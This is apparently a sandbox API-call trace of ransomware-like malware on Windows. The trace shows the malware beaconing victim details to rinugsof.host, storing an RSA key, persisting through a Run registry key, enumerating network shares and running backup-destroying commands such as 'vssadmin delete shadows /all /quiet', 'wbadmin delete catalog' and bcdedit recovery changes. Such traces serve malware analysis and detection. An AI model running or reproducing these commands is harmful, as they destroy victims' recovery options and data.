RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x42) returned 0x52e908 [0041.096] CryptBinaryToStringW (in: pbBinary=0x52e908, cbBinary=0x42, dwFlags=0x80000001, pszString=0x0, pcchString=0x19ff1c | out: pszString=0x0, pcchString=0x19ff1c) returned 1 [0041.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb6) returned 0x52f8c0 [0041.096] CryptBinaryToStringW (in: pbBinary=0x52e908, cbBinary=0x42, dwFlags=0x80000001, pszString=0x52f8c0, pcchString=0x19ff1c | out: pszString="MTUwNjg3NzM0MjM0NTtXaW5kb3dzIDEwIFBybyBVc2VyTmFtZTogRkQxSFZ5O25v\ncmRmb3hAdHV0YW5vdGEuY29t\n", pcchString=0x19ff1c) returned 1 [0041.096] OpenMutexW (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="1506877342345") returned 0x0 [0041.096] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="1506877342345") returned 0x14c [0041.096] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x19ff04 | out: phkResult=0x19ff04*=0x150) returned 0x0 [0041.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x53e7a0 [0041.097] RegQueryValueExW (in: hKey=0x150, lpValueName="kakashka", lpReserved=0x0, lpType=0x0, lpData=0x53e7a0, lpcbData=0x19fea4*=0x2000 | out: lpType=0x0, lpData=0x53e7a0*=0xc0, lpcbData=0x19fea4*=0x2000) returned 0x2 [0041.097] RegCloseKey (hKey=0x150) returned 0x0 [0041.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x52e1d8 [0041.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539610 [0041.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539700 [0041.098] InternetOpenW (lpszAgent="Random String", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0046.535] InternetConnectW (hInternet=0xcc0004, lpszServerName="rinugsof.host", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0046.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x554798 [0046.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x554860 [0046.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x554798 | out: hHeap=0x520000) returned 1 [0046.543] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="seniorita?bs=MTUwNjg3NzM0MjM0NTtXaW5kb3dzIDEwIFBybyBVc2VyTmFtZTogRkQxSFZ5O25v\ncmRmb3hAdHV0YW5vdGEuY29t\n", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x19f488*="text/*", dwFlags=0x80000, dwContext=0x1) returned 0xcc000c [0046.546] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0048.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19f058, dwNumberOfBytesToRead=0x3ff, lpdwNumberOfBytesRead=0x19f4c8 | out: lpBuffer=0x19f058*, lpdwNumberOfBytesRead=0x19f4c8*=0x1c3) returned 1 [0048.689] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1d0) returned 0x56dfb0 [0048.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19f058, dwNumberOfBytesToRead=0x3ff, lpdwNumberOfBytesRead=0x19f4c8 | out: lpBuffer=0x19f058*, lpdwNumberOfBytesRead=0x19f4c8*=0x0) returned 1 [0048.690] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x80000016, lpBuffer=0x0, lpdwBufferLength=0x19f040, lpdwIndex=0x0 | out: lpBuffer=0x0, lpdwBufferLength=0x19f040, lpdwIndex=0x0) returned 0 [0048.691] GetLastError () returned 0x7a [0048.691] GetLastError () returned 0x7a [0048.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x5722c8 [0048.691] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x80000016, lpBuffer=0x5722c8, lpdwBufferLength=0x19f040, lpdwIndex=0x0 | out: lpBuffer=0x5722c8*, lpdwBufferLength=0x19f040*=0x16e, lpdwIndex=0x0) returned 1 [0048.691] OutputDebugStringW (lpOutputString="GET /seniorita?bs=MTUwNjg3NzM0MjM0NTtXaW5kb3dzIDEwIFBybyBVc2VyTmFtZTogRkQxSFZ5O25vcmRmb3hAdHV0YW5vdGEuY29t HTTP/1.1\r\nAccept: text/*\r\nUser-Agent: Random String\r\nHost: rinugsof.host\r\n\r\n") [0048.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5722c8 | out: hHeap=0x520000) returned 1 [0048.692] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0048.692] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0048.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x554860 | out: hHeap=0x520000) returned 1 [0048.692] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0048.692] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x390) returned 0x571db8 [0048.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dfb0 | out: hHeap=0x520000) returned 1 [0048.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539700 | out: hHeap=0x520000) returned 1 [0048.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539610 | out: hHeap=0x520000) returned 1 [0048.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52e1d8 | out: hHeap=0x520000) returned 1 [0048.692] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x19ff00 | out: phkResult=0x19ff00*=0x2a8) returned 0x0 [0048.692] lstrlenW (lpString="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAutRy/+FJ7wB0MCJe2SJk\nJwTcGRDaSyg19tGc2yGWITZKbxKNX+tb5S4gPMlTuVT/lTLj3yo+DtBoZNf+0iRW\ntezBfT+Eud6itvehsfV8WIZHnDHKZD3Xt7mI2nYTsAXGFc2H+QRof5Xk7tZdDSjq\nHSt7zxSAKjsATUPQ3HbtY2oLDZg1u5FSPvGtANlTU4GmmlRp4tDe9vjvRpK7/spE\nNGAbPENfvnqe3aw9zMs9W/EFhuua8QTQRd0DFptTryxi6qSE9UsnlabHV5QOn3Lk\nToWglU/XFIPIAFeV86qDY0fxW6lNJADIqn+25T0XZKPU9Al3YxmSyWIvT7TW1uoQ\nPwIDAQAB\n-----END PUBLIC KEY-----\n") returned 451 [0048.692] RegSetValueExW (in: hKey=0x2a8, lpValueName="kakashka", Reserved=0x0, dwType=0x1, lpData="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAutRy/+FJ7wB0MCJe2SJk\nJwTcGRDaSyg19tGc2yGWITZKbxKNX+tb5S4gPMlTuVT/lTLj3yo+DtBoZNf+0iRW\ntezBfT+Eud6itvehsfV8WIZHnDHKZD3Xt7mI2nYTsAXGFc2H+QRof5Xk7tZdDSjq\nHSt7zxSAKjsATUPQ3HbtY2oLDZg1u5FSPvGtANlTU4GmmlRp4tDe9vjvRpK7/spE\nNGAbPENfvnqe3aw9zMs9W/EFhuua8QTQRd0DFptTryxi6qSE9UsnlabHV5QOn3Lk\nToWglU/XFIPIAFeV86qDY0fxW6lNJADIqn+25T0XZKPU9Al3YxmSyWIvT7TW1uoQ\nPwIDAQAB\n-----END PUBLIC KEY-----\n", cbData=0x386 | out: lpData="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAutRy/+FJ7wB0MCJe2SJk\nJwTcGRDaSyg19tGc2yGWITZKbxKNX+tb5S4gPMlTuVT/lTLj3yo+DtBoZNf+0iRW\ntezBfT+Eud6itvehsfV8WIZHnDHKZD3Xt7mI2nYTsAXGFc2H+QRof5Xk7tZdDSjq\nHSt7zxSAKjsATUPQ3HbtY2oLDZg1u5FSPvGtANlTU4GmmlRp4tDe9vjvRpK7/spE\nNGAbPENfvnqe3aw9zMs9W/EFhuua8QTQRd0DFptTryxi6qSE9UsnlabHV5QOn3Lk\nToWglU/XFIPIAFeV86qDY0fxW6lNJADIqn+25T0XZKPU9Al3YxmSyWIvT7TW1uoQ\nPwIDAQAB\n-----END PUBLIC KEY-----\n") returned 0x0 [0048.692] RegCloseKey (hKey=0x2a8) returned 0x0 [0048.692] CryptStringToBinaryW (in: pszString="-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAutRy/+FJ7wB0MCJe2SJk\nJwTcGRDaSyg19tGc2yGWITZKbxKNX+tb5S4gPMlTuVT/lTLj3yo+DtBoZNf+0iRW\ntezBfT+Eud6itvehsfV8WIZHnDHKZD3Xt7mI2nYTsAXGFc2H+QRof5Xk7tZdDSjq\nHSt7zxSAKjsATUPQ3HbtY2oLDZg1u5FSPvGtANlTU4GmmlRp4tDe9vjvRpK7/spE\nNGAbPENfvnqe3aw9zMs9W/EFhuua8QTQRd0DFptTryxi6qSE9UsnlabHV5QOn3Lk\nToWglU/XFIPIAFeV86qDY0fxW6lNJADIqn+25T0XZKPU9Al3YxmSyWIvT7TW1uoQ\nPwIDAQAB\n-----END PUBLIC KEY-----\n", cchString=0x0, dwFlags=0x0, pbBinary=0x19ecd0, pcbBinary=0x19f4d4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x19ecd0, pcbBinary=0x19f4d4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0048.710] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x19ecd0, cbEncoded=0x126, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x19f4d8, pcbStructInfo=0x19f4d0 | out: pvStructInfo=0x19f4d8, pcbStructInfo=0x19f4d0) returned 1 [0048.741] CryptAcquireContextW (in: phProv=0x45a170, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x45a170*=0x559848) returned 1 [0049.126] CryptImportPublicKeyInfo (in: hCryptProv=0x559848, dwCertEncodingType=0x1, pInfo=0x5702a0*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x5702d0*, PublicKey.cbData=0x10e, PublicKey.pbData=0x5702d8*, PublicKey.cUnusedBits=0x0), phKey=0x45a168 | out: phKey=0x45a168*=0x552760) returned 1 [0049.129] CryptAcquireContextW (in: phProv=0x45a170, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x45a170*=0x559d98) returned 1 [0049.129] CryptImportPublicKeyInfo (in: hCryptProv=0x559d98, dwCertEncodingType=0x1, pInfo=0x5702a0*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x5702d0*, PublicKey.cbData=0x10e, PublicKey.pbData=0x5702d8*, PublicKey.cUnusedBits=0x0), phKey=0x45a168 | out: phKey=0x45a168*=0x5528a0) returned 1 [0049.129] CryptAcquireContextW (in: phProv=0x45a16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x45a16c*=0x55a150) returned 1 [0049.130] LocalFree (hMem=0x5702a0) returned 0x0 [0049.130] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571db8 | out: hHeap=0x520000) returned 1 [0049.130] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4d8 | out: OldValue=0x19f4d8*=0x0) returned 1 [0049.130] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f484*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4c8 | out: lpCommandLine="/C bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0x19f4c8*(hProcess=0x3c4, hThread=0x2ac, dwProcessId=0xf04, dwThreadId=0xf08)) returned 1 [0049.518] CloseHandle (hObject=0x3c4) returned 1 [0049.518] CloseHandle (hObject=0x2ac) returned 1 [0049.518] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4d4 | out: OldValue=0x19f4d4*=0x1) returned 1 [0049.518] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C bcdedit /set {default} recoveryenabled no", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f480*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4c4 | out: lpCommandLine="/C bcdedit /set {default} recoveryenabled no", lpProcessInformation=0x19f4c4*(hProcess=0x3c4, hThread=0x2ac, dwProcessId=0x770, dwThreadId=0xe5c)) returned 1 [0049.546] CloseHandle (hObject=0x3c4) returned 1 [0049.546] CloseHandle (hObject=0x2ac) returned 1 [0049.546] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4d0 | out: OldValue=0x19f4d0*=0x1) returned 1 [0049.546] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C wbadmin delete catalog -quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f47c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4c0 | out: lpCommandLine="/C wbadmin delete catalog -quiet", lpProcessInformation=0x19f4c0*(hProcess=0x3c4, hThread=0x2ac, dwProcessId=0x654, dwThreadId=0xa8c)) returned 1 [0049.553] CloseHandle (hObject=0x3c4) returned 1 [0049.553] CloseHandle (hObject=0x2ac) returned 1 [0049.553] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4cc | out: OldValue=0x19f4cc*=0x1) returned 1 [0049.553] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f478*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4bc | out: lpCommandLine="/C vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x19f4bc*(hProcess=0x3c4, hThread=0x2ac, dwProcessId=0xcdc, dwThreadId=0xd40)) returned 1 [0049.559] CloseHandle (hObject=0x3c4) returned 1 [0049.559] CloseHandle (hObject=0x2ac) returned 1 [0049.559] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4c8 | out: OldValue=0x19f4c8*=0x1) returned 1 [0049.559] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C bcdedit.exe /set {current} nx AlwaysOff", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f474*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4b8 | out: lpCommandLine="/C bcdedit.exe /set {current} nx AlwaysOff", lpProcessInformation=0x19f4b8*(hProcess=0x3c4, hThread=0x2ac, dwProcessId=0xd24, dwThreadId=0xd60)) returned 1 [0049.577] CloseHandle (hObject=0x3c4) returned 1 [0049.577] CloseHandle (hObject=0x2ac) returned 1 [0049.577] Wow64DisableWow64FsRedirection (in: OldValue=0x19f4c4 | out: OldValue=0x19f4c4*=0x1) returned 1 [0049.577] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\cmd.exe", lpCommandLine="/C wmic SHADOWCOPY DELETE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f470*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f4b4 | out: lpCommandLine="/C wmic SHADOWCOPY DELETE", lpProcessInformation=0x19f4b4*(hProcess=0x3c4, hThread=0x2ac, dwProcessId=0xd68, dwThreadId=0xa98)) returned 1 [0049.584] CloseHandle (hObject=0x3c4) returned 1 [0049.584] CloseHandle (hObject=0x2ac) returned 1 [0049.584] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19f2d0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ckoufc.exe")) returned 0x22 [0049.584] GetWindowsDirectoryW (in: lpBuffer=0x19f0c4, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0049.584] lstrcatW (in: lpString1="C:\\WINDOWS", lpString2="\\ckoufc.exe" | out: lpString1="C:\\WINDOWS\\ckoufc.exe") returned="C:\\WINDOWS\\ckoufc.exe" [0049.584] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ckoufc.exe"), lpNewFileName="C:\\WINDOWS\\ckoufc.exe" (normalized: "c:\\windows\\ckoufc.exe"), bFailIfExists=0) returned 1 [0049.875] RegOpenKeyW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x19f4dc | out: phkResult=0x19f4dc*=0x2ac) returned 0x0 [0049.875] lstrlenW (lpString="C:\\WINDOWS\\ckoufc.exe") returned 21 [0049.875] RegSetValueExW (in: hKey=0x2ac, lpValueName="ckoufc.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\ckoufc.exe", cbData=0x2b | out: lpData="C:\\WINDOWS\\ckoufc.exe") returned 0x0 [0049.875] RegCloseKey (hKey=0x2ac) returned 0x0 [0049.875] GetConsoleWindow () returned 0x3021c [0049.924] ShowWindow (hWnd=0x3021c, nCmdShow=0) returned 1 [0049.975] GetLogicalDriveStringsW (in: nBufferLength=0x400, lpBuffer=0x19f0c4 | out: lpBuffer="C:\\") returned 0x4 [0049.975] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0049.975] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x534db8 [0049.975] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0049.975] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0049.975] lstrlenW (lpString="C:\\") returned 3 [0049.975] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x19f4cc | out: lphEnum=0x19f4cc*=0x5530a0) returned 0x0 [0050.848] WNetEnumResourceW (in: hEnum=0x5530a0, lpcCount=0x19f4d0, lpBuffer=0x1974b0, lpBufferSize=0x19f4c8 | out: lpcCount=0x19f4d0, lpBuffer=0x1974b0, lpBufferSize=0x19f4c8) returned 0x0 [0050.849] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x1974b0, lphEnum=0x19748c | out: lphEnum=0x19748c*=0x534e18) returned 0x0 [0050.909] WNetEnumResourceW (in: hEnum=0x534e18, lpcCount=0x197490, lpBuffer=0x18f470, lpBufferSize=0x197488 | out: lpcCount=0x197490, lpBuffer=0x18f470, lpBufferSize=0x197488) returned 0x103 [0050.909] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x1974d0, lphEnum=0x19748c | out: lphEnum=0x19748c*=0x7) returned 0x4b8 [0066.286] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x1974f0, lphEnum=0x19748c | out: lphEnum=0x19748c*=0x7) returned 0x4c6 [0066.307] WNetCloseEnum (hEnum=0x5530a0) returned 0x0 [0066.307] GetCurrentProcess () returned 0xffffffff [0066.307] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0066.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5718d8 [0066.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0066.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5718d8 | out: hHeap=0x520000) returned 1 [0066.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x76) returned 0x558400 [0066.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0066.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1b0 [0066.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x330) returned 0x556d50 [0066.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d170 [0066.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x28) returned 0x56ed00 [0066.308] RtlInitializeConditionVariable (in: ConditionVariable=0x56ed04 | out: ConditionVariable=0x56ed04) [0066.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x30) returned 0x574b38 [0066.308] RtlInitializeConditionVariable (in: ConditionVariable=0x574b40 | out: ConditionVariable=0x574b40) [0066.308] GetCurrentThreadId () returned 0x46c [0066.308] GetCurrentThreadId () returned 0x46c [0066.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x14) returned 0x534e78 [0066.308] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x4053e0, phModule=0x534e84 | out: phModule=0x534e84*=0x400000) returned 1 [0066.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4196a2, lpParameter=0x534e78, dwCreationFlags=0x0, lpThreadId=0x19f450 | out: lpThreadId=0x19f450*=0x39c) returned 0x440 [0066.309] SleepConditionVariableSRW (in: ConditionVariable=0x56ed04, SRWLock=0x574b40, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x56ed04, SRWLock=0x574b40) returned 1 [0066.311] GetCurrentThreadId () returned 0x46c [0066.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0066.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56ed00 | out: hHeap=0x520000) returned 1 [0066.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d230 [0066.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1b0 | out: hHeap=0x520000) returned 1 [0066.312] GetCurrentThreadId () returned 0x46c [0066.312] WaitForSingleObjectEx (hHandle=0x440, dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 7 os_tid = 0xb98 Thread: id = 8 os_tid = 0xd48 Thread: id = 9 os_tid = 0xa5c Thread: id = 10 os_tid = 0xac4 Thread: id = 11 os_tid = 0x9e0 Thread: id = 160 os_tid = 0x39c [0066.310] GetLastError () returned 0x57 [0066.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x364) returned 0x577da0 [0066.310] SetLastError (dwErrCode=0x57) [0066.310] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x75ba0000 [0066.310] GetProcAddress (hModule=0x75ba0000, lpProcName="GetCurrentPackageId") returned 0x75ba3510 [0066.310] GetCurrentPackageId () returned 0x3d54 [0066.310] GetCurrentThreadId () returned 0x39c [0066.311] GetCurrentThreadId () returned 0x39c [0066.311] RtlWakeConditionVariable (in: ConditionVariable=0x56ed04 | out: ConditionVariable=0x56ed04) [0066.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d260 [0066.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571810 [0066.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2) returned 0x54d0f0 [0066.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0066.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2) returned 0x54d210 [0066.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x44) returned 0x56a4b8 [0066.313] GetLastError () returned 0x57 [0066.313] SetLastError (dwErrCode=0x57) [0066.314] GetLastError () returned 0x57 [0066.314] SetLastError (dwErrCode=0x57) [0066.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xb8) returned 0x56e180 [0066.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6a6) returned 0x578110 [0066.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578110 | out: hHeap=0x520000) returned 1 [0066.314] GetLastError () returned 0x57 [0066.315] SetLastError (dwErrCode=0x57) [0066.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x54d220 [0066.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2) returned 0x54d0e0 [0066.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x4) returned 0x54d0c0 [0066.315] GetLastError () returned 0x57 [0066.315] SetLastError (dwErrCode=0x57) [0066.315] GetLastError () returned 0x57 [0066.316] SetLastError (dwErrCode=0x57) [0066.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xb8) returned 0x553500 [0066.316] GetLastError () returned 0x57 [0066.316] SetLastError (dwErrCode=0x57) [0066.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6a6) returned 0x578110 [0066.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578110 | out: hHeap=0x520000) returned 1 [0066.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d220 | out: hHeap=0x520000) returned 1 [0066.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56e180 | out: hHeap=0x520000) returned 1 [0066.317] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0066.317] GetLastError () returned 0x57 [0066.317] SetLastError (dwErrCode=0x57) [0066.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x54d1b0 [0066.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2) returned 0x54d180 [0066.317] GetLastError () returned 0x57 [0066.318] SetLastError (dwErrCode=0x57) [0066.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x200) returned 0x5727f0 